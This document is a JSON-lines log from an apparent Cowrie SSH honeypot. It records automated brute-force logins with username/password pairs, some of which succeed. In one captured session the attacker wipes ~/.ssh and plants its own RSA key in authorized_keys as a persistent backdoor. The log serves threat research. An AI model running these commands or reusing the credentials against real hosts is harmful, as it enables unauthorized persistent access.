{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:56:20.938459Z","src_ip":"128.201.200.162","session":"535f7ecd639e","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:56:21.414681Z","src_ip":"128.201.200.162","session":"535f7ecd639e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:56:21.530781Z","src_ip":"128.201.200.162","session":"535f7ecd639e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.2","message":"Connection lost after 4.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:56:21.539835Z","src_ip":"128.201.200.162","session":"49a574b29cf7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"13.71.92.229","src_port":45282,"dst_ip":"10.17.0.5","dst_port":22,"session":"0eea44902dda","protocol":"ssh","message":"New connection: 13.71.92.229:45282 (10.17.0.5:22) [session: 0eea44902dda]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:56:34.610549Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:56:34.615742Z","src_ip":"13.71.92.229","session":"0eea44902dda","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:56:34.839477Z","src_ip":"13.71.92.229","session":"0eea44902dda","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ghost","password":"ghost123","message":"login attempt [ghost/ghost123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:56:35.738222Z","src_ip":"13.71.92.229","session":"0eea44902dda","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:56:36.958021Z","src_ip":"13.71.92.229","session":"0eea44902dda","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.193.178.240","src_port":39814,"dst_ip":"159.203.135.109","dst_port":22,"session":"c7ac0e91fb41","protocol":"ssh","message":"New connection: 103.193.178.240:39814 (159.203.135.109:22) [session: c7ac0e91fb41]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:56:49.083618Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:56:49.088598Z","src_ip":"103.193.178.240","session":"c7ac0e91fb41","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:56:49.339044Z","src_ip":"103.193.178.240","session":"c7ac0e91fb41","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"albert","password":"1234","message":"login attempt [albert/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:56:51.075898Z","src_ip":"103.193.178.240","session":"c7ac0e91fb41","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.2","message":"Connection lost after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:56:52.328092Z","src_ip":"103.193.178.240","session":"c7ac0e91fb41","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.46.255.86","src_port":64147,"dst_ip":"159.203.135.109","dst_port":22,"session":"8532963206cd","protocol":"ssh","message":"New connection: 193.46.255.86:64147 (159.203.135.109:22) [session: 8532963206cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:57:03.427284Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:57:03.431722Z","src_ip":"193.46.255.86","session":"8532963206cd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:57:03.566823Z","src_ip":"193.46.255.86","session":"8532963206cd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.52.15.213","src_port":41066,"dst_ip":"10.17.0.5","dst_port":22,"session":"2012f4e0b6e1","protocol":"ssh","message":"New connection: 152.52.15.213:41066 (10.17.0.5:22) [session: 2012f4e0b6e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:57:03.611855Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:57:03.614701Z","src_ip":"152.52.15.213","session":"2012f4e0b6e1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:57:03.835609Z","src_ip":"152.52.15.213","session":"2012f4e0b6e1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"aditya","message":"login attempt [admin/aditya] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:57:04.176836Z","src_ip":"193.46.255.86","session":"8532963206cd","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"1qa@WS3ed","message":"login attempt [root/1qa@WS3ed] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:57:04.748495Z","src_ip":"152.52.15.213","session":"2012f4e0b6e1","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:57:05.216248Z","src_ip":"152.52.15.213","session":"2012f4e0b6e1","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:57:05.219669Z","src_ip":"152.52.15.213","session":"2012f4e0b6e1","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:57:05.223702Z","src_ip":"152.52.15.213","session":"2012f4e0b6e1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:57:05.315976Z","src_ip":"193.46.255.86","session":"8532963206cd","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:57:05.446636Z","src_ip":"152.52.15.213","session":"2012f4e0b6e1","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:57:05.918941Z","src_ip":"152.52.15.213","session":"2012f4e0b6e1","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:57:05.922228Z","src_ip":"152.52.15.213","session":"2012f4e0b6e1","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:57:06.146743Z","src_ip":"152.52.15.213","session":"2012f4e0b6e1","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:57:06.149694Z","src_ip":"152.52.15.213","session":"2012f4e0b6e1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.52.15.213","src_port":42088,"dst_ip":"10.17.0.5","dst_port":22,"session":"2cc5525916cb","protocol":"ssh","message":"New connection: 152.52.15.213:42088 (10.17.0.5:22) [session: 2cc5525916cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:57:06.401422Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:57:06.405405Z","src_ip":"152.52.15.213","session":"2cc5525916cb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:57:06.653062Z","src_ip":"152.52.15.213","session":"2cc5525916cb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:57:07.680637Z","src_ip":"152.52.15.213","session":"2cc5525916cb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:57:08.935742Z","src_ip":"152.52.15.213","session":"2cc5525916cb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.52.15.213","src_port":43138,"dst_ip":"10.17.0.5","dst_port":22,"session":"f3c8dc99c03a","protocol":"ssh","message":"New connection: 152.52.15.213:43138 (10.17.0.5:22) [session: f3c8dc99c03a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:57:09.172412Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:57:09.176184Z","src_ip":"152.52.15.213","session":"f3c8dc99c03a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:57:09.416211Z","src_ip":"152.52.15.213","session":"f3c8dc99c03a","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:57:10.416920Z","src_ip":"152.52.15.213","session":"f3c8dc99c03a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.0","message":"Connection lost after 7.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:57:10.659072Z","src_ip":"152.52.15.213","session":"2012f4e0b6e1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:57:10.664606Z","src_ip":"152.52.15.213","session":"f3c8dc99c03a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.210","src_port":34032,"dst_ip":"159.203.135.109","dst_port":22,"session":"ca1d0595a828","protocol":"ssh","message":"New connection: 2.57.122.210:34032 (159.203.135.109:22) [session: ca1d0595a828]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:57:25.782398Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:57:25.786835Z","src_ip":"2.57.122.210","session":"ca1d0595a828","protocol":"ssh"}
